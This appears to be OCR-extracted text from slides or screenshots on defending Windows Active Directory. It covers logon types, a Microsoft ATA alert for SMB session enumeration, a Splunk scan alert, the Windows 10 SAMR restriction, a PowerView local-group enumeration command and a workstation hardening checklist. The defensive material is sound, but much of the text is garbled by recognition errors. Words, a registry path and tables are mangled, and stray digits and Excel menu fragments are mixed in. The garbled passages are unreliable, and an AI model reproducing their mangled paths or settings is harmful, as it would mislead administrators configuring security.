8 NetworkCleartext (Logon with credentials sent in the clear text. Most often indicates a logon to IS with "basic authentication") See this article for more information.
NewCredentials such as with RunAs or mapping a network drive with alternate credentials. This logon type does not seem to show up in any events. If you want to

9 track users attempting to logon with alternate credentials see 4648. MS says "A caller cloned its current token and specified new credentials for outbound
connections. The new logon session has the same local identity, but uses different credentials for other network connections."

10 Remotelnteractive (Terminal Services, Remote Desktop or Remote Assistance)

11 CachediInteractive (logon with cached domain credentials such as when logging on to a laptop when away from the network)



file://///*/IPC$
http://www.windowsitpro.com/Articles/Print.cfm?ArticleID=45214
http://www.ultimatewindowssecurity.com/wiki/SecurityLogEventID4648.ashx

H - Reconnaissance using SME Session Enumeration 5b7a%b327f1b3004bca2330f (002) xlsx [Mode protégé] - Excel Eal = a X

Fichier Accueil  Insertion  Miseenpage Formules Données  Réwvision  Affichage  Compléments  Antidote Equipe @ Recherch Walid AR... (Q'_ Partager

Microsoft Advanced Threat Analytics

Reconnaissance using SMB Session Enumeration
Microsoft Advanced Threat Analytics u Microsoft

Enumerated Sessions

Time (UTC) Account Name Host Name

201810
Enumeration 01810
VB Sesslon enumeration atiempts wi c y performed from 201810

against

Take a look

24
2
2
2
2
2
24
2
2
2
2
3.
2
2
2
2
2
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2
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The alert condition for 'SOC_FW_Subnet_Scan' was triggered.

Alert: S0C FW_Subnet Scan

View results in Splunk

dest_port nb_dest sourcetype time
445 119 05/03/2019 14:45:00
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1/ SAMR moved on! #Windows10 pleasant
surprise: Remote query of local users (inc.
local admins) can be controlled.

Grong Foloy! “Network Access: Rewtrct Clients allowed 10 ke remote calls 10 SAM
Regatry Ky “HKLM/Syvtem/Currest Contz olset/Conteol/) sa/Restsictiemol e SAM*

Win vt Who can query local wers by Can defunlt be chasged
detaunt

< Wan 10 Any doman user No
Winio Anty domer users

» Wil |v.g anniversary) Ordy local adensstraton
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8BloodHoundADBloodHound
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(& & https://adsecurity.org/?p

Block Authenticated Users from Enumerating Local
Groups on Windows 10 Workstations

Thanks to the Microsoft ATA folks, we know that Windows 10 Anniversary Update
(v1607) restricts remote SAMR calls (default) to only local administrators.

1/ SAMR moved on! #WVindows10 pleasant
surprise: Remote query of local users (inc
local admins) can be controlled

- Wt Accwm: Heatrict vty sl b ke reite call b SAM

oy frn WL Vb T Comrl oDy ' oty Ui/ Wi b DRt 0SS

Wi e W Lo gaerry bom ot wmars by Cant At L St
ot

. who
W)

b WMLO e g am—ay |

When using PowerView to enumerate local group membership on Windows 10 v1607 as

a domain user, we get the following error

PS H:\> get-netlocalgroup -ComputerName ADSWKWinl0.lab.adsecurity.org
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& https://adsecurity.org/?p

Securing Windows Workstation:

s Deploying Free/Near-Free Microsoft Tools to Improve Windows Security
Deploy Microsoft Applocker to lock down what can run on the system.
Deploy current version of EMET with recommended software settings.

Deploy LAPS to manage the local Administrator (RID 500) password.

Force Group Policy to reapply settings during “refresh”

¢ Disable Windows Legacy & Typically Unused Features
Disable Net Session Enumeration (NetCease)
Disable WPAD
Disable LLMNR
Disable Windows Browser Protoco
Disable MetBIOS
Disable Windows Scripting Host (W5SH) & Control Scripting File Extensions
Deploy security back-port patch (KB2871957).
Prevent local Administrator (RID 500) accounts from authenticating over the network
Ensure WDigest is disabled

Remove SMB v1 support

& (& & https://gallery.technet.microsoft.com/!
B Microsoft
Formation Téléchargements Support technigue Communautés Forums

rité » Net Cease - Hardening Net Session Enumeration

Net Cease - Hardening Net Session
Enumeration

Accés rapide
“Net Cease" tool is a short PowerShell (PS) script which alters Net Session Enumeration (NetSessionEnum) default
ntributions permissions. This hardening process prevents attackers from easily getting some valuable recon information to move
laterally within their victim's network.

Téléchargement
Evaluations

5;452 Télécharge 21056 fois e Conditions d'utilisa
: ; S ES A Y

harger une contribution

Points

Sous-catégorie
Itai Grady Traduit en
MSFT
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